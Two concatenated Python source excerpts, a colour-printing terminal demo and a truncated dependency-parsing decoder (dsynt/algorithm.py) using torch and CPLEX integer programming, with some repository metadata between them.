print(fore.DARK_OLIVE_GREEN_1A + "Hello World !!!" + style.RESET) print(fore.DARK_OLIVE_GREEN_1B + "Hello World !!!" + style.RESET) print(fore.DARK_SEA_GREEN_1 + "Hello World !!!" + style.RESET) print(fore.HONEYDEW_2 + "Hello World !!!" + style.RESET) print(fore.LIGHT_CYAN_1 + "Hello World !!!" + style.RESET) print(fore.RED_1 + "Hello World !!!" + style.RESET) print(fore.DEEP_PINK_2 + "Hello World !!!" + style.RESET) print(fore.DEEP_PINK_1A + "Hello World !!!" + style.RESET) print(fore.DEEP_PINK_1B + "Hello World !!!" + style.RESET) print(fore.MAGENTA_2B + "Hello World !!!" + style.RESET) print(fore.MAGENTA_1 + "Hello World !!!" + style.RESET) print(fore.ORANGE_RED_1 + "Hello World !!!" + style.RESET) print(fore.INDIAN_RED_1C + "Hello World !!!" + style.RESET) print(fore.INDIAN_RED_1D + "Hello World !!!" + style.RESET) print(fore.HOT_PINK_1A + "Hello World !!!" + style.RESET) print(fore.HOT_PINK_1B + "Hello World !!!" + style.RESET) print(fore.MEDIUM_ORCHID_1B + "Hello World !!!" + style.RESET) print(fore.DARK_ORANGE + "Hello World !!!" + style.RESET) print(fore.SALMON_1 + "Hello World !!!" + style.RESET) print(fore.LIGHT_CORAL + "Hello World !!!" + style.RESET) print(fore.PALE_VIOLET_RED_1 + "Hello World !!!" + style.RESET) print(fore.ORCHID_2 + "Hello World !!!" + style.RESET) print(fore.ORCHID_1 + "Hello World !!!" + style.RESET) print(fore.ORANGE_1 + "Hello World !!!" + style.RESET) print(fore.SANDY_BROWN + "Hello World !!!" + style.RESET) print(fore.LIGHT_SALMON_1 + "Hello World !!!" + style.RESET) print(fore.LIGHT_PINK_1 + "Hello World !!!" + style.RESET) print(fore.PINK_1 + "Hello World !!!" + style.RESET) print(fore.PLUM_1 + "Hello World !!!" + style.RESET) print(fore.GOLD_1 + "Hello World !!!" + style.RESET) print(fore.LIGHT_GOLDENROD_2B + "Hello World !!!" + style.RESET) print(fore.LIGHT_GOLDENROD_2C + "Hello World !!!" + style.RESET) print(fore.NAVAJO_WHITE_1 + "Hello World !!!" + style.RESET) print(fore.MISTY_ROSE1 + "Hello World !!!" + style.RESET) print(fore.THISTLE_1 + "Hello World !!!" + style.RESET) print(fore.YELLOW_1 + "Hello World !!!" + style.RESET) print(fore.LIGHT_GOLDENROD_1 + "Hello World !!!" + style.RESET) print(fore.KHAKI_1 + "Hello World !!!" + style.RESET) print(fore.WHEAT_1 + "Hello World !!!" + style.RESET) print(fore.CORNSILK_1 + "Hello World !!!" + style.RESET) print(fore.GREY_100 + "Hello World !!!" + style.RESET) print(fore.GREY_3 + "Hello World !!!" + style.RESET) print(fore.GREY_7 + "Hello World !!!" + style.RESET) print(fore.GREY_11 + "Hello World !!!" + style.RESET) print(fore.GREY_15 + "Hello World !!!" + style.RESET) print(fore.GREY_19 + "Hello World !!!" + style.RESET) print(fore.GREY_23 + "Hello World !!!" + style.RESET) print(fore.GREY_27 + "Hello World !!!" + style.RESET) print(fore.GREY_30 + "Hello World !!!" + style.RESET) print(fore.GREY_35 + "Hello World !!!" + style.RESET) print(fore.GREY_39 + "Hello World !!!" + style.RESET) print(fore.GREY_42 + "Hello World !!!" + style.RESET) print(fore.GREY_46 + "Hello World !!!" + style.RESET) print(fore.GREY_50 + "Hello World !!!" + style.RESET) print(fore.GREY_54 + "Hello World !!!" + style.RESET) print(fore.GREY_58 + "Hello World !!!" + style.RESET) print(fore.GREY_62 + "Hello World !!!" + style.RESET) print(fore.GREY_66 + "Hello World !!!" + style.RESET) print(fore.GREY_70 + "Hello World !!!" + style.RESET) print(fore.GREY_74 + "Hello World !!!" + style.RESET) print(fore.GREY_78 + "Hello World !!!" + style.RESET) print(fore.GREY_82 + "Hello World !!!" + style.RESET) print(fore.GREY_85 + "Hello World !!!" + style.RESET) print(fore.GREY_89 + "Hello World !!!" + style.RESET) print(fore.GREY_93 + "Hello World !!!" + style.RESET) print(back.BLACK + "Hello World !!!" + style.RESET) print(back.RED + "Hello World !!!" + style.RESET) print(back.GREEN + "Hello World !!!" + style.RESET) print(back.YELLOW + "Hello World !!!" + style.RESET) print(back.BLUE + "Hello World !!!" + style.RESET) print(back.MAGENTA + "Hello World !!!" + style.RESET) print(back.CYAN + "Hello World !!!" + style.RESET) print(back.LIGHT_GRAY + "Hello World !!!" + style.RESET) print(back.DARK_GRAY + "Hello World !!!" + style.RESET) print(back.LIGHT_RED + "Hello World !!!" + style.RESET) print(back.LIGHT_GREEN + "Hello World !!!" + style.RESET) print(back.LIGHT_YELLOW + "Hello World !!!" + style.RESET) print(back.LIGHT_BLUE + "Hello World !!!" + style.RESET) print(back.LIGHT_MAGENTA + "Hello World !!!" + style.RESET) print(back.LIGHT_CYAN + "Hello World !!!" + style.RESET) print(back.WHITE + "Hello World !!!" + style.RESET) print(back.GREY_0 + "Hello World !!!" + style.RESET) print(back.NAVY_BLUE + "Hello World !!!" + style.RESET) print(back.DARK_BLUE + "Hello World !!!" + style.RESET) print(back.BLUE_3A + "Hello World !!!" + style.RESET) print(back.BLUE_3B + "Hello World !!!" + style.RESET) print(back.BLUE_1 + "Hello World !!!" + style.RESET) print(back.DARK_GREEN + "Hello World !!!" + style.RESET) print(back.DEEP_SKY_BLUE_4A + "Hello World !!!" + style.RESET) print(back.DEEP_SKY_BLUE_4B + "Hello World !!!" + style.RESET) print(back.DEEP_SKY_BLUE_4C + "Hello World !!!" + style.RESET) print(back.DODGER_BLUE_3 + "Hello World !!!" + style.RESET) print(back.DODGER_BLUE_2 + "Hello World !!!" + style.RESET) print(back.GREEN_4 + "Hello World !!!" + style.RESET) print(back.SPRING_GREEN_4 + "Hello World !!!" + style.RESET) print(back.TURQUOISE_4 + "Hello World !!!" + style.RESET) print(back.DEEP_SKY_BLUE_3A + "Hello World !!!" + style.RESET) print(back.DEEP_SKY_BLUE_3B + "Hello World !!!" + style.RESET) print(back.DODGER_BLUE_1 + "Hello World !!!" + style.RESET) print(back.GREEN_3A + "Hello World !!!" + style.RESET) print(back.SPRING_GREEN_3A + "Hello World !!!" + style.RESET) print(back.DARK_CYAN + "Hello World !!!" + style.RESET) print(back.LIGHT_SEA_GREEN + "Hello World !!!" + style.RESET) print(back.DEEP_SKY_BLUE_2 + "Hello World !!!" + style.RESET) print(back.DEEP_SKY_BLUE_1 + "Hello World !!!" + style.RESET) print(back.GREEN_3B + "Hello World !!!" + style.RESET) print(back.SPRING_GREEN_3B + "Hello World !!!" + style.RESET) print(back.SPRING_GREEN_2A + "Hello World !!!" + style.RESET) print(back.CYAN_3 + "Hello World !!!" + style.RESET) print(back.DARK_TURQUOISE + "Hello World !!!" + style.RESET) print(back.TURQUOISE_2 + "Hello World !!!" + style.RESET) print(back.GREEN_1 + "Hello World !!!" + style.RESET) print(back.SPRING_GREEN_2B + "Hello World !!!" + style.RESET) print(back.SPRING_GREEN_1 + "Hello World !!!" + style.RESET) print(back.MEDIUM_SPRING_GREEN + "Hello World !!!" + style.RESET) print(back.CYAN_2 + "Hello World !!!" + style.RESET) print(back.CYAN_1 + "Hello World !!!" + style.RESET) print(back.DARK_RED_1 + "Hello World !!!" + style.RESET) print(back.DEEP_PINK_4A + "Hello World !!!" + style.RESET) print(back.PURPLE_4A + "Hello World !!!" + style.RESET) print(back.PURPLE_4B + "Hello World !!!" + style.RESET) print(back.PURPLE_3 + "Hello World !!!" + style.RESET) print(back.BLUE_VIOLET + "Hello World !!!" + style.RESET) print(back.ORANGE_4A + "Hello World !!!" + style.RESET) print(back.GREY_37 + "Hello World !!!" + style.RESET) print(back.MEDIUM_PURPLE_4 + "Hello World !!!" + style.RESET) print(back.SLATE_BLUE_3A + "Hello World !!!" + style.RESET) print(back.SLATE_BLUE_3B + "Hello World !!!" + style.RESET) print(back.ROYAL_BLUE_1 + "Hello World !!!" + style.RESET) print(back.CHARTREUSE_4 + "Hello World !!!" + style.RESET) print(back.DARK_SEA_GREEN_4A + "Hello World !!!" + style.RESET) print(back.PALE_TURQUOISE_4 + "Hello World !!!" + style.RESET) print(back.STEEL_BLUE + "Hello World !!!" + style.RESET) print(back.STEEL_BLUE_3 + "Hello World !!!" + style.RESET) print(back.CORNFLOWER_BLUE + "Hello World !!!" + style.RESET) print(back.CHARTREUSE_3A + "Hello World !!!" + style.RESET) print(back.DARK_SEA_GREEN_4B + "Hello World !!!" + style.RESET) print(back.CADET_BLUE_2 + "Hello World !!!" + style.RESET) print(back.CADET_BLUE_1 + "Hello World !!!" + style.RESET) print(back.SKY_BLUE_3 + "Hello World !!!" + style.RESET) print(back.STEEL_BLUE_1A + "Hello World !!!" + style.RESET) print(back.CHARTREUSE_3B + "Hello World !!!" + style.RESET) print(back.PALE_GREEN_3A + "Hello World !!!" + style.RESET) print(back.SEA_GREEN_3 + "Hello World !!!" + style.RESET) print(back.AQUAMARINE_3 + "Hello World !!!" + style.RESET) print(back.MEDIUM_TURQUOISE + "Hello World !!!" + style.RESET) print(back.STEEL_BLUE_1B + "Hello World !!!" + style.RESET) print(back.CHARTREUSE_2A + "Hello World !!!" + style.RESET) print(back.SEA_GREEN_2 + "Hello World !!!" + style.RESET) print(back.SEA_GREEN_1A + "Hello World !!!" + style.RESET) print(back.SEA_GREEN_1B + "Hello World !!!" + style.RESET) print(back.AQUAMARINE_1A + "Hello World !!!" + style.RESET) print(back.DARK_SLATE_GRAY_2 + "Hello World !!!" + style.RESET) print(back.DARK_RED_2 + "Hello World !!!" + style.RESET) print(back.DEEP_PINK_4B + "Hello World !!!" + style.RESET) print(back.DARK_MAGENTA_1 + "Hello World !!!" + style.RESET) print(back.DARK_MAGENTA_2 + "Hello World !!!" + style.RESET) print(back.DARK_VIOLET_1A + "Hello World !!!" + style.RESET) print(back.PURPLE_1A + "Hello World !!!" + style.RESET) print(back.ORANGE_4B + "Hello World !!!" + style.RESET) print(back.LIGHT_PINK_4 + "Hello World !!!" + style.RESET) print(back.PLUM_4 + "Hello World !!!" + style.RESET) print(back.MEDIUM_PURPLE_3A + "Hello World !!!" + style.RESET) print(back.MEDIUM_PURPLE_3B + "Hello World !!!" + style.RESET) print(back.SLATE_BLUE_1 + "Hello World !!!" + style.RESET) print(back.YELLOW_4A + "Hello World !!!" + style.RESET) print(back.WHEAT_4 + "Hello World !!!" + style.RESET) print(back.GREY_53 + "Hello World !!!" + style.RESET) print(back.LIGHT_SLATE_GREY + "Hello World !!!" + style.RESET) print(back.MEDIUM_PURPLE + "Hello World !!!" + style.RESET) print(back.LIGHT_SLATE_BLUE + "Hello World !!!" + style.RESET) print(back.YELLOW_4B + "Hello World !!!" + style.RESET) print(back.DARK_OLIVE_GREEN_3A + "Hello World !!!" + style.RESET) print(back.DARK_GREEN_SEA + "Hello World !!!" + style.RESET) print(back.LIGHT_SKY_BLUE_3A + "Hello World !!!" + style.RESET) print(back.LIGHT_SKY_BLUE_3B + "Hello World !!!" + style.RESET) print(back.SKY_BLUE_2 + "Hello World !!!" + style.RESET) print(back.CHARTREUSE_2B + "Hello World !!!" + style.RESET) print(back.DARK_OLIVE_GREEN_3B + "Hello World !!!" + style.RESET) print(back.PALE_GREEN_3B + "Hello World !!!" + style.RESET) print(back.DARK_SEA_GREEN_3A + "Hello World !!!" + style.RESET) print(back.DARK_SLATE_GRAY_3 + "Hello World !!!" + style.RESET) print(back.SKY_BLUE_1 + "Hello World !!!" + style.RESET) print(back.CHARTREUSE_1 + "Hello World !!!" + style.RESET) print(back.LIGHT_GREEN_2 + "Hello World !!!" + style.RESET) print(back.LIGHT_GREEN_3 + "Hello World !!!" + style.RESET) print(back.PALE_GREEN_1A + "Hello World !!!" + style.RESET) print(back.AQUAMARINE_1B + "Hello World !!!" + style.RESET) print(back.DARK_SLATE_GRAY_1 + "Hello World !!!" + style.RESET) print(back.RED_3A + "Hello World !!!" + style.RESET) print(back.DEEP_PINK_4C + "Hello World !!!" + style.RESET) print(back.MEDIUM_VIOLET_RED + "Hello World !!!" + style.RESET) print(back.MAGENTA_3A + "Hello World !!!" + style.RESET) print(back.DARK_VIOLET_1B + "Hello World !!!" + style.RESET) print(back.PURPLE_1B + "Hello World !!!" + style.RESET) print(back.DARK_ORANGE_3A + "Hello World !!!" + style.RESET) print(back.INDIAN_RED_1A + "Hello World !!!" + style.RESET) print(back.HOT_PINK_3A + "Hello World !!!" + style.RESET) print(back.MEDIUM_ORCHID_3 + "Hello World !!!" + style.RESET) print(back.MEDIUM_ORCHID + "Hello World !!!" + style.RESET) print(back.MEDIUM_PURPLE_2A + "Hello World !!!" + style.RESET) print(back.DARK_GOLDENROD + "Hello World !!!" + style.RESET) print(back.LIGHT_SALMON_3A + "Hello World !!!" + style.RESET) print(back.ROSY_BROWN + "Hello World !!!" + style.RESET) print(back.GREY_63 + "Hello World !!!" + style.RESET) print(back.MEDIUM_PURPLE_2B + "Hello World !!!" + style.RESET) print(back.MEDIUM_PURPLE_1 + "Hello World !!!" + style.RESET) print(back.GOLD_3A + "Hello World !!!" + style.RESET) print(back.DARK_KHAKI + "Hello World !!!" + style.RESET) print(back.NAVAJO_WHITE_3 + "Hello World !!!" + style.RESET) print(back.GREY_69 + "Hello World !!!" + style.RESET) print(back.LIGHT_STEEL_BLUE_3 + "Hello World !!!" + style.RESET) print(back.LIGHT_STEEL_BLUE + "Hello World !!!" + style.RESET) print(back.YELLOW_3A + "Hello World !!!" + style.RESET) print(back.DARK_OLIVE_GREEN_3 + "Hello World !!!" + style.RESET) print(back.DARK_SEA_GREEN_3B + "Hello World !!!" + style.RESET) print(back.DARK_SEA_GREEN_2 + "Hello World !!!" + style.RESET) print(back.LIGHT_CYAN_3 + "Hello World !!!" + style.RESET) print(back.LIGHT_SKY_BLUE_1 + "Hello World !!!" + style.RESET) print(back.GREEN_YELLOW + "Hello World !!!" + style.RESET) print(back.DARK_OLIVE_GREEN_2 + "Hello World !!!" + style.RESET) print(back.PALE_GREEN_1B + "Hello World !!!" + style.RESET) print(back.DARK_SEA_GREEN_5B + "Hello World !!!" + style.RESET) print(back.DARK_SEA_GREEN_5A + "Hello World !!!" + style.RESET) print(back.PALE_TURQUOISE_1 + "Hello World !!!" + style.RESET) print(back.RED_3A + "Hello World !!!" + style.RESET) print(back.DEEP_PINK_3A + "Hello World !!!" + style.RESET) print(back.DEEP_PINK_3B + "Hello World !!!" + style.RESET) print(back.MAGENTA_3B + "Hello World !!!" + style.RESET) print(back.MAGENTA_3C + "Hello World !!!" + style.RESET) print(back.MAGENTA_2A + "Hello World !!!" + style.RESET) print(back.DARK_ORANGE_3B + "Hello World !!!" + style.RESET) print(back.INDIAN_RED_1B + "Hello World !!!" + style.RESET) print(back.HOT_PINK_3B + "Hello World !!!" + style.RESET) print(back.HOT_PINK_2 + "Hello World !!!" + style.RESET) print(back.ORCHID + "Hello World !!!" + style.RESET) print(back.MEDIUM_ORCHID_1A + "Hello World !!!" + style.RESET) print(back.ORANGE_3 + "Hello World !!!" + style.RESET) print(back.LIGHT_SALMON_3B + "Hello World !!!" + style.RESET) print(back.LIGHT_PINK_3 + "Hello World !!!" + style.RESET) print(back.PINK_3 + "Hello World !!!" + style.RESET) print(back.PLUM_3 + "Hello World !!!" + style.RESET) print(back.VIOLET + "Hello World !!!" + style.RESET) print(back.GOLD_3B + "Hello World !!!" + style.RESET) print(back.LIGHT_GOLDENROD_3 + "Hello World !!!" + style.RESET) print(back.TAN + "Hello World !!!" + style.RESET) print(back.MISTY_ROSE_3 + "Hello World !!!" + style.RESET) print(back.THISTLE_3 + "Hello World !!!" + style.RESET) print(back.PLUM_2 + "Hello World !!!" + style.RESET) print(back.YELLOW_3B + "Hello World !!!" + style.RESET) print(back.KHAKI_3 + "Hello World !!!" + style.RESET) print(back.LIGHT_GOLDENROD_2A + "Hello World !!!" + style.RESET) print(back.LIGHT_YELLOW_3 + "Hello World !!!" + style.RESET) print(back.GREY_84 + "Hello World !!!" + style.RESET) print(back.LIGHT_STEEL_BLUE_1 + "Hello World !!!" + style.RESET) print(back.YELLOW_2 + "Hello World !!!" + style.RESET) print(back.DARK_OLIVE_GREEN_1A + "Hello World !!!" + style.RESET) print(back.DARK_OLIVE_GREEN_1B + "Hello World !!!" + style.RESET) print(back.DARK_SEA_GREEN_1 + "Hello World !!!" + style.RESET) print(back.HONEYDEW_2 + "Hello World !!!" + style.RESET) print(back.LIGHT_CYAN_1 + "Hello World !!!" + style.RESET) print(back.RED_1 + "Hello World !!!" + style.RESET) print(back.DEEP_PINK_2 + "Hello World !!!" + style.RESET) print(back.DEEP_PINK_1A + "Hello World !!!" + style.RESET) print(back.DEEP_PINK_1B + "Hello World !!!" + style.RESET) print(back.MAGENTA_2B + "Hello World !!!" + style.RESET) print(back.MAGENTA_1 + "Hello World !!!" + style.RESET) print(back.ORANGE_RED_1 + "Hello World !!!" + style.RESET) print(back.INDIAN_RED_1C + "Hello World !!!" + style.RESET) print(back.INDIAN_RED_1D + "Hello World !!!" + style.RESET) print(back.HOT_PINK_1A + "Hello World !!!" + style.RESET) print(back.HOT_PINK_1B + "Hello World !!!" + style.RESET) print(back.MEDIUM_ORCHID_1B + "Hello World !!!" + style.RESET) print(back.DARK_ORANGE + "Hello World !!!" + style.RESET) print(back.SALMON_1 + "Hello World !!!" + style.RESET) print(back.LIGHT_CORAL + "Hello World !!!" + style.RESET) print(back.PALE_VIOLET_RED_1 + "Hello World !!!" + style.RESET) print(back.ORCHID_2 + "Hello World !!!" + style.RESET) print(back.ORCHID_1 + "Hello World !!!" + style.RESET) print(back.ORANGE_1 + "Hello World !!!" + style.RESET) print(back.SANDY_BROWN + "Hello World !!!" + style.RESET) print(back.LIGHT_SALMON_1 + "Hello World !!!" + style.RESET) print(back.LIGHT_PINK_1 + "Hello World !!!" + style.RESET) print(back.PINK_1 + "Hello World !!!" + style.RESET) print(back.PLUM_1 + "Hello World !!!" + style.RESET) print(back.GOLD_1 + "Hello World !!!" + style.RESET) print(back.LIGHT_GOLDENROD_2B + "Hello World !!!" + style.RESET) print(back.LIGHT_GOLDENROD_2C + "Hello World !!!" + style.RESET) print(back.NAVAJO_WHITE_1 + "Hello World !!!" + style.RESET) print(back.MISTY_ROSE1 + "Hello World !!!" + style.RESET) print(back.THISTLE_1 + "Hello World !!!" + style.RESET) print(back.YELLOW_1 + "Hello World !!!" + style.RESET) print(back.LIGHT_GOLDENROD_1 + "Hello World !!!" + style.RESET) print(back.KHAKI_1 + "Hello World !!!" + style.RESET) print(back.WHEAT_1 + "Hello World !!!" + style.RESET) print(back.CORNSILK_1 + "Hello World !!!" + style.RESET) print(back.GREY_100 + "Hello World !!!" + style.RESET) print(back.GREY_3 + "Hello World !!!" + style.RESET) print(back.GREY_7 + "Hello World !!!" + style.RESET) print(back.GREY_11 + "Hello World !!!" + style.RESET) print(back.GREY_15 + "Hello World !!!" + style.RESET) print(back.GREY_19 + "Hello World !!!" + style.RESET) print(back.GREY_23 + "Hello World !!!" + style.RESET) print(back.GREY_27 + "Hello World !!!" + style.RESET) print(back.GREY_30 + "Hello World !!!" + style.RESET) print(back.GREY_35 + "Hello World !!!" + style.RESET) print(back.GREY_39 + "Hello World !!!" + style.RESET) print(back.GREY_42 + "Hello World !!!" + style.RESET) print(back.GREY_46 + "Hello World !!!" + style.RESET) print(back.GREY_50 + "Hello World !!!" + style.RESET) print(back.GREY_54 + "Hello World !!!" + style.RESET) print(back.GREY_58 + "Hello World !!!" + style.RESET) print(back.GREY_62 + "Hello World !!!" + style.RESET) print(back.GREY_66 + "Hello World !!!" + style.RESET) print(back.GREY_70 + "Hello World !!!" + style.RESET) print(back.GREY_74 + "Hello World !!!" + style.RESET) print(back.GREY_78 + "Hello World !!!" + style.RESET) print(back.GREY_82 + "Hello World !!!" + style.RESET) print(back.GREY_85 + "Hello World !!!" + style.RESET) print(back.GREY_89 + "Hello World !!!" + style.RESET) print(back.GREY_93 + "Hello World !!!" + style.RESET) if __name__ == "__main__": main()

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60.961977

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a24b77a68c93bd757c4234892140fd915fa03821

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py

Python

dsynt/algorithm.py

FilippoC/-deep-syntactic-dependency-parsing-release

30e2571ea930c2fd81559f5a2a971e3738cc6d39

[ "MIT" ]

null

dsynt/algorithm.py

FilippoC/-deep-syntactic-dependency-parsing-release

30e2571ea930c2fd81559f5a2a971e3738cc6d39

[ "MIT" ]

null

dsynt/algorithm.py

FilippoC/-deep-syntactic-dependency-parsing-release

30e2571ea930c2fd81559f5a2a971e3738cc6d39

[ "MIT" ]

null

import torch #import mip import cplex from dsynt.graph import Graph def argmax_simple(weight, node_weights=None): # get the label of maximum weight for each arc max_values, max_indices = weight.max(dim=2) # keep only max label arc with positive weights pred_arcs = (max_values > 0) # Erase all arcs going to the head pred_arcs[:, 0] = False # erase diagonal pred_arcs = pred_arcs * ~torch.eye(pred_arcs.shape[0], dtype=torch.bool, device=pred_arcs.device) nodes = None if node_weights is not None: nodes = 1 * (node_weights > 0).reshape(-1) return pred_arcs, max_indices, nodes def argmax_outgoing_arcs(arc_weights, node_weights): # labels with max weight max_values, max_indices = arc_weights.max(dim=2) # select positive arcs pred_arcs = (max_values > 0) # Erase all arcs going to the head pred_arcs[:, 0] = False # erase diagonal pred_arcs = pred_arcs * ~torch.eye(pred_arcs.shape[0], dtype=torch.bool, device=pred_arcs.device) # sum of positive arcs for each node outgoing_score = (max_values * pred_arcs).sum(dim=1) # add node weights node_weights = node_weights.reshape(-1) node_weights2 = torch.zeros((node_weights.shape[0] + 1,), requires_grad=False, device=node_weights.device) node_weights2[1:] = node_weights node_score = outgoing_score + node_weights2 # selected nodes are nodes with positive score selected_nodes = (node_score > 0) selected_nodes[0] = True # select correct pred arcs pred_arcs = pred_arcs * selected_nodes.unsqueeze(1) return pred_arcs, max_indices, selected_nodes[1:] def is_connected(arcs): arcs = arcs.cpu() edges = {} for i2 in range(arcs.shape[0]): for j2 in range(1, arcs.shape[0]): if i2 == j2: continue if not arcs[i2, j2]: continue i, j = min(i2, j2), max(i2, j2) if i in edges: edges[i].append(j) else: edges[i] = [j] if j in edges: edges[j].append(i) else: edges[j] = [i] visited = set() stack = set() stack.add(next(iter(edges))) while len(stack) > 0: current = stack.pop() visited.add(current) for other in edges[current]: if other not in visited: stack.add(other) return len(visited) == len(edges) and 0 in edges def argmax_semi_structured(weights, node_weights, linear_relaxation=False): n_words = node_weights.shape[0] # get the label of maximum weight for each arc max_values, max_indices = weights.max(dim=2) # transform arc weights into edge weights # the edge weights between a and b is degined as follows: # w(a, b) > 0 and w(b, a) > 0: w(a, b) + w(b, a) # w(a, b) <= 0 and w(b, a) > 0: w(b, a) # w(a, b) > 0 and w(b, a) <= 0: w(a, b) # w(a, b) <= 0 and w(b, a) <= 0: max(w(a, b), w(b, a)) t_arc_weights = max_values.transpose(0, 1) # erase weight going to the root (first ligne because transpose) t_arc_weights[0, :] = -float("inf") edge_weights = torch.max(max_values + t_arc_weights, torch.max(max_values, t_arc_weights)) max_values = max_values.cpu() # required to compute output edge_weights = edge_weights.cpu() node_weights = node_weights.cpu() graph = Graph( n_words + 1, lambda i: 0 if i == 0 else node_weights[i - 1].item(), lambda i, j: edge_weights[i, j].item() ) # Reduction 1: # if w(a, b) > and w(a) > and w(b) > 0, # the we can contract into a single node which is always selected while True: has_merged_something = False for i, j in graph.arc_iterator(): if graph.arc_weight(i, j) > 0 and graph.arc_weight(i, j) + graph.node_weight(i) > 0 and graph.arc_weight(i, j) + graph.node_weight(j) > 0: graph.merge(i, j) has_merged_something = True break if not has_merged_something: break """ # Reduction 2: # if w(a, b) <= 0 and w(a) <= 0 and w(b) <= 0, # we can remove w(a, b) to_remove = list() for i, j in graph.arc_iterator(): if graph.arc_weight(i, j) <= 0 and graph.node_weight(i) <= 0 and graph.node_weight(j) <= 0: to_remove.append((i, j)) for i, j in to_remove: graph.remove_arc(i, j) """ if graph.n_nodes() == 1: pred_arcs = torch.zeros_like(max_values, dtype=torch.bool, device="cpu", requires_grad=False) selected_nodes = torch.zeros(n_words, dtype=torch.bool, device="cpu", requires_grad=False) o_nodes, o_arcs = graph.get_original_from_node(next(graph.node_iterator())) for o in o_nodes: if o > 0: selected_nodes[o - 1] = True for i2, j2 in o_arcs: if i2 == 0: pred_arcs[i2, j2] = True elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = True pred_arcs[j2, i2] = True elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = True else: pred_arcs[j2, i2] = True return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device) else: mprog = cplex.Cplex() mprog.set_log_stream(None) mprog.set_error_stream(None) mprog.set_warning_stream(None) mprog.set_results_stream(None) mprog.objective.set_sense(mprog.objective.sense.maximize) variables = ["x_" + str(i) for i in graph.node_iterator()] scores = [graph.node_weight(i) for i in graph.node_iterator()] # map node to var index nodes = {n: i for i, n in enumerate(graph.node_iterator())} arcs = dict() for i, j in graph.arc_iterator(): name = "y_" + str(i) + "_" + str(j) arcs[(i, j)] = len(variables) variables.append(name) scores.append(graph.arc_weight(i, j)) lb = [0] * len(variables) ub = [1] * len(variables) x = mprog.variables.add( obj=scores, lb=lb, ub=ub, names=variables, types="" if linear_relaxation else [mprog.variables.type.binary] * len(scores) ) constraing_lhd = [] constraing_rhs = [] constraing_sign = [] # forced merged nodes to 1 for i in graph.node_iterator(): if i >= graph.original_size: constraing_lhd.append([ [nodes[i]], [1.] ]) constraing_rhs.append(1) constraing_sign.append("E") # each node is forced to 1 if at least one adjacent arc for i in graph.node_iterator(): for i2, j2 in graph.adj_arcs[i].keys(): # node >= arcs[(head, i + 1)] constraing_lhd.append([ [nodes[i], arcs[(i2, j2)]], [1., -1.] ]) constraing_rhs.append(0) constraing_sign.append("G") # each node is forced to 0 if no adjacent arc for i in graph.node_iterator(): # node <= mip.xsum(adjacent_arcs) adjacent_arcs = [arcs[(i2, j2)] for i2, j2 in graph.adj_arcs[i].keys()] if len(adjacent_arcs) == 0: continue constraing_lhd.append([ [nodes[i]] + adjacent_arcs, [1.] + [-1.] * len(adjacent_arcs) ]) constraing_rhs.append(0) constraing_sign.append("L") mprog.linear_constraints.add( lin_expr=constraing_lhd, senses=constraing_sign, rhs=constraing_rhs, ) # Solve the problem mprog.solve() # And print the solutions variable_values = mprog.solution.get_values() if linear_relaxation: pred_arcs = torch.zeros_like(max_values, dtype=torch.float, device="cpu", requires_grad=False) selected_nodes = torch.zeros(n_words, dtype=torch.float, device="cpu", requires_grad=False) for (head, mod), v in arcs.items(): v = variable_values[v] for i2, j2 in graph.get_original_from_arc(head, mod): if i2 == 0: pred_arcs[i2, j2] = v elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = v pred_arcs[j2, i2] = v elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = v else: pred_arcs[j2, i2] = v for n, i in nodes.items(): v = variable_values[i] o_nodes, o_arcs = graph.get_original_from_node(n) for o in o_nodes: if o > 0: selected_nodes[o - 1] = v for i2, j2 in o_arcs: if i2 == 0: pred_arcs[i2, j2] = v elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = v pred_arcs[j2, i2] = v elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = v else: pred_arcs[j2, i2] = v #print(pred_arcs) #print(selected_nodes) return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device) else: pred_arcs = torch.zeros_like(max_values, dtype=torch.bool, device="cpu", requires_grad=False) selected_nodes = torch.zeros(n_words, dtype=torch.bool, device="cpu", requires_grad=False) for (head, mod), v in arcs.items(): if variable_values[v] > 0.99: for i2, j2 in graph.get_original_from_arc(head, mod): if i2 == 0: pred_arcs[i2, j2] = True elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = True pred_arcs[j2, i2] = True elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = True else: pred_arcs[j2, i2] = True for n, i in nodes.items(): if variable_values[i] > 0.99: o_nodes, o_arcs = graph.get_original_from_node(n) for o in o_nodes: if o > 0: selected_nodes[o - 1] = True for i2, j2 in o_arcs: if i2 == 0: pred_arcs[i2, j2] = True elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = True pred_arcs[j2, i2] = True elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = True else: pred_arcs[j2, i2] = True #print(pred_arcs) #print(selected_nodes) return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device) def argmax_structured(weights, node_weights, linear_relaxation=False): #if node_weights is not None: # raise RuntimeError("Node weights not supported anymore") n_words = node_weights.shape[0] # get the label of maximum weight for each arc max_values, max_indices = weights.max(dim=2) # we first try to select all positive arcs, # if the structure is connected, then it is the optimal solution #simple_pred_arcs = (max_values > 0) #simple_pred_arcs[:, 0] = False #pred_arcs = simple_pred_arcs * ~torch.eye(simple_pred_arcs.shape[0], dtype=torch.bool, device=simple_pred_arcs.device) #if is_connected(pred_arcs): # return pred_arcs, max_indices, None # transform arc weights into edge weights # the edge weights between a and b is degined as follows: # w(a, b) > 0 and w(b, a) > 0: w(a, b) + w(b, a) # w(a, b) <= 0 and w(b, a) > 0: w(b, a) # w(a, b) > 0 and w(b, a) <= 0: w(a, b) # w(a, b) <= 0 and w(b, a) <= 0: max(w(a, b), w(b, a)) t_arc_weights = max_values.transpose(0, 1) # erase weight going to the root (first ligne because transpose) t_arc_weights[0, :] = -float("inf") edge_weights = torch.max(max_values + t_arc_weights, torch.max(max_values, t_arc_weights)) max_values = max_values.cpu() # required to compute output edge_weights = edge_weights.cpu() node_weights = node_weights.cpu() graph = Graph( n_words + 1, 